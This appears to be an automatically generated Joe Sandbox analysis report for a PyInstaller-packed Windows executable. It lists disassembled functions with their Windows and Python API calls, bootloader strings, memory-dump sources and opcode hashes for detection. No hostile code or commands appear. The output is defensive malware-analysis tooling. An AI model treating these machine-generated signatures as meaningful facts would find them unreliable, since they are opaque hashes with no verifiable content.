Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: 849092ee313d90182648ac5091f6841dd271f5938a0293141bcf3cafd9cdb4f6
Instruction ID: 3ee331b5a643e14599949abbb94bbcbdeee16feef1ad8d817a891e57cf5b6386
Opcode Fuzzy Hash: 849092ee313d90182648ac5091f6841dd271f5938a0293141bcf3cafd9cdb4f6
Instruction Fuzzy Hash: A412CE65A5AB2390FB15CB04BC901B527A1AF9474DF9C603DC80FB62A4EFFCF6599201

Function 00007FF652EF4EFC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF652EF4F4A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF55B6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF572C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF59EA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF5C0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF5E47
memcpy_s.LIBCPMT ref: 00007FF652EF5F22
memcpy_s.LIBCPMT ref: 00007FF652EF5FCD
memcpy_s.LIBCPMT ref: 00007FF652EF609C

Strings

1#SNAN, xrefs: 00007FF652EF505A
1#INF, xrefs: 00007FF652EF5073
1#IND, xrefs: 00007FF652EF5037
1#QNAN, xrefs: 00007FF652EF5063

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: c804c22466df2b92b362f5d1d066b057dea08e8c29dc99d8cb90910c2247e431
Instruction ID: 3e03a4fa98c9d518ec9d46048902a24b9d644fa78f0713f8f9a6b9e9f04d28a7
Opcode Fuzzy Hash: c804c22466df2b92b362f5d1d066b057dea08e8c29dc99d8cb90910c2247e431
Instruction Fuzzy Hash: D2B2BB72E182A28BE7658F64E8807FE37A1F75474CF585139DA0DA7A84DFB8E501CB40

Function 00007FF652ED8770 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF652ED2A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED8797
FormatMessageW.KERNEL32 ref: 00007FF652ED87C6
WideCharToMultiByte.KERNEL32 ref: 00007FF652ED881C

Part of subcall function 00007FF652ED29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF652ED8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED29F4
Part of subcall function 00007FF652ED29C0: MessageBoxW.USER32 ref: 00007FF652ED2AD0

Strings

PyInstaller: FormatMessageW failed., xrefs: 00007FF652ED87E3
No error messages generated., xrefs: 00007FF652ED87D0
FormatMessageW, xrefs: 00007FF652ED87D7
Failed to encode wchar_t as UTF-8., xrefs: 00007FF652ED8826
WideCharToMultiByte, xrefs: 00007FF652ED882D
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF652ED8839

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 71548051bea7547f5d5b972cb2661fdb12455c7e02de19cea235076eba1ea75f
Instruction ID: 51bf71cd7a72d6edf52f2de382c44d5a32179a567de33a4a0b08b3ec0b121830
Opcode Fuzzy Hash: 71548051bea7547f5d5b972cb2661fdb12455c7e02de19cea235076eba1ea75f
Instruction Fuzzy Hash: AD214F32A18A5295F760DB25FC4426A6365FF8838CF8C113DD64DE3AA5EFBCE1458700

Function 00007FF652EDC8BC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF652EDC8D8
RtlCaptureContext.KERNEL32 ref: 00007FF652EDC905
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF652EDC91F
RtlVirtualUnwind.KERNEL32 ref: 00007FF652EDC960
IsDebuggerPresent.KERNEL32 ref: 00007FF652EDC9B4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF652EDC9D1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF652EDC9DC

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 4f1605a870b3ab58307638b90f69401c730c876d9dfa7ce500e329c816792819
Instruction ID: 9c9fddb7a2417419a48a1308490ecb0dc1d38454205676199610756d93eef377
Opcode Fuzzy Hash: 4f1605a870b3ab58307638b90f69401c730c876d9dfa7ce500e329c816792819
Instruction Fuzzy Hash: 11313C73619A9186EB60DF60E8407EE7364FB84748F08503EDA4EA7B94DF78D648C710

Function 00007FF652EEB3CC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF652EEB445
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF652EEB45D
RtlVirtualUnwind.KERNEL32 ref: 00007FF652EEB498
IsDebuggerPresent.KERNEL32 ref: 00007FF652EEB4D1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF652EEB4DB
UnhandledExceptionFilter.KERNEL32 ref: 00007FF652EEB4E6

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f3d77d60e417bce1f0fe908812719be64cab24703666754eed0168e01bd0a785
Instruction ID: 1bee17907e66fc859bffdbd4139d153215a69385482ffacc9c98ce8ffdfcedbb
Opcode Fuzzy Hash: f3d77d60e417bce1f0fe908812719be64cab24703666754eed0168e01bd0a785
Instruction Fuzzy Hash: 33318736618F9285E760CF25EC402AE73A5FB88758F580139EA8DA3B54EF7CD559C700

Function 00007FF652EF26C4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF2710
FindFirstFileExW.KERNEL32 ref: 00007FF652EF281A

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: b3715d4618dde4abce6a703dfc2b0a62f6c41887aa9418885becb382e3094c85
Instruction ID: 215221bfaeb12fdb2ba672aa94483a260886313c4c31a514e5c5c7e20fad7ffe
Opcode Fuzzy Hash: b3715d4618dde4abce6a703dfc2b0a62f6c41887aa9418885becb382e3094c85
Instruction Fuzzy Hash: 73B1A526B186A741EE61DB25BC101BA6351FB44BE8F48513AEE5DA7BC9DFBCE441C300

Function 00007FF652EDC7A0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF652EDC7CC
GetCurrentThreadId.KERNEL32 ref: 00007FF652EDC7DA
GetCurrentProcessId.KERNEL32 ref: 00007FF652EDC7E6
QueryPerformanceCounter.KERNEL32 ref: 00007FF652EDC7F6

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9121cd0992376079c28b7b15cfb2bb882a77f2b3c78bb4ce64e2c22522254d02
Instruction ID: ee7c2f503427e826740fe495d2ad8bfad4ed126e8cc47d65c1cca5953b15be88
Opcode Fuzzy Hash: 9121cd0992376079c28b7b15cfb2bb882a77f2b3c78bb4ce64e2c22522254d02
Instruction Fuzzy Hash: 60114822B54F018AEB00CF60FC442A933A4FB18B58F081E35DA6DA27A4DFB8E1588340

Function 00007FF652EF4A60 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF652EF4AC6
memcpy_s.LIBCPMT ref: 00007FF652EF4AF1

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 8429646ca80192e79eddfa1bd9a4f3a0c48c5aec866a0cf9079fe7ebef69365b
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: B8C12772B1869687E724CF19B4446ABB7A1F784B88F499138DB4E97744DF7DE801CB00

Function 00007FF652EFA7D8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF652EFAA27
RaiseException.KERNEL32 ref: 00007FF652EFAA38

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 107d115b060fbd35a116a220a90c3f58689526778be32960ff8b0eb29206904d
Instruction ID: 76c3338278c15cc10c43618707dbdac86042215a26cfa29692d999d4f47ce9bb
Opcode Fuzzy Hash: 107d115b060fbd35a116a220a90c3f58689526778be32960ff8b0eb29206904d
Instruction Fuzzy Hash: 39B18A73A04B998BEB15CF29D8863693BA0F744B8CF198829DA9D877A4CF79D451C700

Function 00007FF652EE42D4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF652EE4442
, xrefs: 00007FF652EE4684

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: a4155c6fffaecf52a824239c2b6f37dbc1b24f1087258a4a4fa2a9ab421e67c4
Instruction ID: adc81b12121d56f9e4311b80ef1d43569e8048f9adb0fd5a825dbbd610baf62a
Opcode Fuzzy Hash: a4155c6fffaecf52a824239c2b6f37dbc1b24f1087258a4a4fa2a9ab421e67c4
Instruction Fuzzy Hash: 4AE1B272A0866782EB688F29985017D33A0FF45B8CF1C523DDA4EA7794DFB9E851C740

Function 00007FF652EEECA0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF652EEEE2A
e+000, xrefs: 00007FF652EEEDAD

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: b0eb00ec9cc72bcbd25ebaa9050c7cd18c6ed420f4824bc0d073d86035fcaeec
Instruction ID: c5f9d83ac982cff2513306bede21afd74380d2475158dfbca02737a5c39b2390
Opcode Fuzzy Hash: b0eb00ec9cc72bcbd25ebaa9050c7cd18c6ed420f4824bc0d073d86035fcaeec
Instruction Fuzzy Hash: 82517822B187E386E7208E35AC0176D6B91F745BA8F4C8239CB9C9BAD5DFBDD4448700

Function 00007FF652EF1720 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: d763eeadde26d203d3eed894b7e241bb7bf0a3b788ff63a0cf3fb266a06eef05
Instruction ID: c46ad14ccd6a769773a312abc0aa33df495d26999e089fda9b8d00d31b0c31a8
Opcode Fuzzy Hash: d763eeadde26d203d3eed894b7e241bb7bf0a3b788ff63a0cf3fb266a06eef05
Instruction Fuzzy Hash: F102C321E0D66B40FA559B21BC1127B2691AF01BA8F4C463DDD6DEB7D5EEFCE4418B00

Function 00007FF652EEE80C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF652EEEB4E

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: ce984bed762576d5ac079d260fe98dbb5d2c0c9497d8241e3c95b971abe0b5e7
Instruction ID: 588bc1b0d5564f5c74c5efe19bb6be103776abf6f4d5062ede218bc0adac3949
Opcode Fuzzy Hash: ce984bed762576d5ac079d260fe98dbb5d2c0c9497d8241e3c95b971abe0b5e7
Instruction Fuzzy Hash: 3BA16763B087D786EB21CB25A8107AA7B91AB547A8F0C8039DE8D97785EE7DD501C701

Function 00007FF652EE8EF4 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF652EE8F13

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 227a240b370b15b1266a0cc9d4416acc6519c25bf7b5095cb295345a6af5b08f
Instruction ID: 675baf1c15aaa097e1d99a27f58be1b770ae39ea97b397ff78adaf8c314ec3e7
Opcode Fuzzy Hash: 227a240b370b15b1266a0cc9d4416acc6519c25bf7b5095cb295345a6af5b08f
Instruction Fuzzy Hash: 8851AC11B0862B41EE64EA276D5217A62D26F84B9CF4C413DDE0EE7796EEBCE4428205

Function 00007FF652EF42D0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF652EF42D4

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ed995d9d252c3e0c61107ed1ba5c48f1392176915e7fcf845d28b2722b2e2d45
Instruction ID: 685e9cdf3108797b855975004f5eb72bfd6dd4be17945d4daf7baef9fe54b760
Opcode Fuzzy Hash: ed995d9d252c3e0c61107ed1ba5c48f1392176915e7fcf845d28b2722b2e2d45
Instruction Fuzzy Hash: 8EB09220E17A52C6FA086B51BCC221822A47F58714FE8507CC00DA2320DEAC20F58711

Function 00007FF652EE3ED0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9df69fd1c27fd416770dca946a20fccf44885df857cf64186a4c680355c85b
Instruction ID: 0be488e82baf7efbd1da179c1776c963540dd827ffba0e05bd42e4fffff5921f
Opcode Fuzzy Hash: ca9df69fd1c27fd416770dca946a20fccf44885df857cf64186a4c680355c85b
Instruction Fuzzy Hash: 51D1BD72A0866386EB68CE2A995027D27A0EF45B4CF1C423DCE0DA77D5DFB9E841D341

Function 00007FF652ED92D0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d76246942c46f132312ebc4a4bc27c309f6729675ee6fb805fd22939f347a0
Instruction ID: 2775e8dcc9821d0ec00faa479e907325a0bc7506000da16572eff4aa8de605a7
Opcode Fuzzy Hash: a6d76246942c46f132312ebc4a4bc27c309f6729675ee6fb805fd22939f347a0
Instruction Fuzzy Hash: F1C1A4722141F14BD2C9EB29E86957E77A1F7C834DBC8403AEB8B57B8AC63CA114D710

Function 00007FF652EE3540 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa501f5897fa8170c1c3089a9165536d111e8d2735d862654f88cabfcab8bd87
Instruction ID: bec81f0f539e93b9dffc5ab286f0e6000af2dcc7d967dd51d8fad033e0466ad4
Opcode Fuzzy Hash: fa501f5897fa8170c1c3089a9165536d111e8d2735d862654f88cabfcab8bd87
Instruction Fuzzy Hash: 18B16DB2A087A785E7688F39C85023D3BA0E745F4CF294139DA4EA7395DFBAD841C744

Function 00007FF652EEF320 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

